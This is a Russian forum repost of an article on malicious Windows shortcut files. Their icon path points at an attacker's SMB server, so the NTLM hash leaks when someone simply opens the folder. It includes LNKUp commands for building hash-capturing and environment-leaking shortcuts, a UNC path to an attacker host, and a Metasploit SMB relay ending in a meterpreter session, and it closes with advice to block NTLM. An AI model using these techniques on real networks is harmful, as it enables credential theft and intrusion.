Ярлыки в Windows: куда они ведут и могут ли быть опасны?

akok

Команда форума
Администратор
Сообщения
15,480
Симпатии
12,574
Баллы
2,203
#1
proxy.php?image=https%3A%2F%2Fhabrastorage.org%2Fweb%2F24e%2F5a9%2F5fd%2F24e5a95fdf054d7e9723f886e20f43c2.jpg&hash=d7df1f23b29a35d5c7c02d6f785f48ee


В данной статье мы поговорим о методах компрометации систем с использованием стандартного функционала ОС Windows, доступного при создании ярлыков и как с этим бороться.

Как это работает и стоит ли мне бояться

Пожалуй, большинство пользователей ОС Windows знают, что запуск подозрительных программ и клики на неизвестные ярлыки — небезопасно, и даже самые «плохие» пользователи стараются так не делать. Так что, мы не будем об этом говорить.

А также, большинство пользователей хотя бы раз пробовали сменить значок ярлыка.

Напомню, что делается это через свойства, примерно так:

proxy.php?image=https%3A%2F%2Fhabrastorage.org%2Fweb%2F329%2Fb3c%2Fe01%2F329b3ce0126e404bbe73c5c5ca444d25.PNG&hash=d6c84b0ff98d2e5168f368c924a8e828


А какие значения можно указывать в этом поле?

proxy.php?image=https%3A%2F%2Fhabrastorage.org%2Fweb%2F25c%2F561%2F7d6%2F25c5617d616446cabbfa4073d152cfaa.PNG&hash=b4833078ba4c74a60a40a2f91a74c53f


Обязательно ли путь должен быть локальным? На самом деле — нет. Т.е. вы можете указать здесь что-нибудь такое

proxy.php?image=https%3A%2F%2Fhabrastorage.org%2Fweb%2F3e8%2F3ff%2F311%2F3e83ff3111bd47ddb53bd16bc3a5f7e7.PNG&hash=7dc735965435b2ee929b15474498a2e0


И при переходе пользователя в директорию, содержащую такой ярлык произойдет следующее.
Скриншот из Wireshark на машине 192.168.1.3.

proxy.php?image=https%3A%2F%2Fhabrastorage.org%2Fweb%2F146%2Ff8a%2Fad1%2F146f8aad15994b778fd251a34bf25f55.PNG&hash=067691d5965434c724102d820d326789


Сервер 192.168.1.3 не смог принять TCP соединение, поскольку не прослушивает TCP порт 445, т.е. SMB. На первый взгляд может показаться, что беспокоиться не о чем, но это не так.

Сервер 192.168.1.3 может закончить TCP хэндшейк и вести себя как SMB сервер. Например, при помощи модуля фреймворка Metasploit.

proxy.php?image=https%3A%2F%2Fhabrastorage.org%2Fweb%2Fe7f%2Fb45%2Fa79%2Fe7fb45a79b78429ea5e5a0372c23485d.PNG&hash=feceb5a41a1678c78cd8f4be85fa66ae


Попробуем перейти в директорию с ярлыком еще раз и проверим после этого консоль Metasploit

proxy.php?image=https%3A%2F%2Fhabrastorage.org%2Fweb%2F095%2F037%2F9c9%2F0950379c98614ff7942245564bba971f.PNG&hash=d9b76826b0cc0ea06372ece9cf5425e6


Мы получили NTLM хэш пользователя, который «увидел» наш ярлык.

Эта уязвимость (feature) известна уже более 20 лет, со времен WinNT/Win95 и существует по сей день. Microsoft предлагает бороться с данной уязвимостью при помощи NTLM Blocking. Но настроить это должен пользователь сам

proxy.php?image=https%3A%2F%2Fhabrastorage.org%2Fweb%2Fec7%2Faa9%2F4c1%2Fec7aa94c16024504a087c85e48ba6823.PNG&hash=c63b2b6845d390741753ebe28c7d21c7


И ознакомиться со всеми «но»

proxy.php?image=https%3A%2F%2Fhabrastorage.org%2Fweb%2F95b%2Ff87%2F126%2F95bf87126c6a48cfb736ee32fcf0126a.PNG&hash=8e907df16e452efcf8c2ce440802f6b2


Некоторые провайдеры могут блокировать исходящий трафик в Интернет на порт 445, что, также, может защитить пользователей, на чьих машинах не активированы соответствующие политики, но никак не защитит от атаки в локальной сети.

LNKUp — автоматизация эксплуатации

Совсем недавно был выпущен инструмент LNKUp, позволяющий автоматизировать процесс создания lnk-файлов, подобных тому, который мы рассмотрели выше. Скачать его можно на официальном GitHub.

Утилита написана на Python, запускается под ОС Windows и требует Python-пакеты pylnk и pypiwin32.

proxy.php?image=https%3A%2F%2Fhabrastorage.org%2Fweb%2Fcbf%2F86e%2Fefb%2Fcbf86eefb2fe46f3bbc0093955b039a5.PNG&hash=3d9859307a9867d82a9a0e9a7df61c35


Чтобы создать ярлык для захвата NTLM-хэша используется следующая команда
Код:
python generate.py --host HOST --type ntlm --output out.lnk
где HOST — машина, на которой запущен SMB сервер Metasploit.

Второй вариант использования LNKUp — это получение переменных окружения пользователя. Это работает, потому что в свойствах ярлыка можно использовать переменные окружения, например так:

proxy.php?image=https%3A%2F%2Fhabrastorage.org%2Fweb%2Fefd%2F1c9%2F206%2Fefd1c920640549c79b497644a00567ca.PNG&hash=25b9937ae399ab110619f380836e4cdf


Для их чтения нужно запустить сниффер на машине 192.168.1.3

Команда для создания ярлыка выглядит так:
Код:
python generate.py --host 192.168.1.3 --output out.lnk --type environment --vars PROCESSOR_ARCHITECTURE
И в дампе трафика мы увидим

proxy.php?image=https%3A%2F%2Fhabrastorage.org%2Fweb%2Fdbc%2F668%2F190%2Fdbc668190c9e4f1b98ec99674ebfed17.PNG&hash=e25c86ce196ddbf77b5cdef3d16e0f98


Т.е. путь к иконке в свойствах ярлыка выглядел так
\\192.168.1.3\SHARE_%PROCESSOR_ARCHITECTURE%
Таким образом, пользователю не нужно специально что-то запускать, ему просто нужно перейти в каталог, в котором находится вредоносный ярлык, например в сетевую директорию или «увидеть» его при подключении внешних носителей.

SMB-Relay при просмотре каталога

При помощи фреймворка Metasploit можно поднять и другого рода SMB сервер, используя модуль exploit/windows/smb/smb_relay и провести атаку вида SMB Relay.

proxy.php?image=https%3A%2F%2Fhabrastorage.org%2Fweb%2F34c%2F3c2%2Fada%2F34c3c2adaf6747dc9170106a4b598282.PNG&hash=394fee5ee362bb9434ad896e3dd3560f


Теперь предположим, что вредоносный ярлык был помещен в сетевой каталог, которым обычно пользуются администраторы для установки софта. При очередном открытии такого каталога произойдет перенаправление NTLM аутентификации администратора на выбранную нами машину в сети.

proxy.php?image=https%3A%2F%2Fhabrastorage.org%2Fweb%2Fbee%2F8fc%2F48c%2Fbee8fc48c41c46ba9850bf0a7ccde6c8.PNG&hash=84f0a69c92c4c758f13d5d698ede6683


И будет получена сессия метерпретера

proxy.php?image=https%3A%2F%2Fhabrastorage.org%2Fweb%2F92a%2F1ec%2F2c1%2F92a1ec2c1797401eae12693fd80476e8.PNG&hash=e1ff3da8213f7d8d5070dc2f0bb3d61d


proxy.php?image=https%3A%2F%2Fhabrastorage.org%2Fweb%2F597%2F69c%2F88e%2F59769c88eb214c6b9fb8fa19dcc47386.PNG&hash=cc208d35ebe3c32517c8211aa436ea66


Исходя из всего вышеперечисленного, пожалуй, можно сделать вывод, что от NTLM аутентификации стоит отказаться везде, где это возможно, а также уделять повышенное внимание сетевой безопасности и доступу к общим ресурсам, на которых злоумышленник может разместить вредоносные объекты.

Лучшие публикации за сутки / Хабрахабр
 
Последнее редактирование модератором:
Сверху Снизу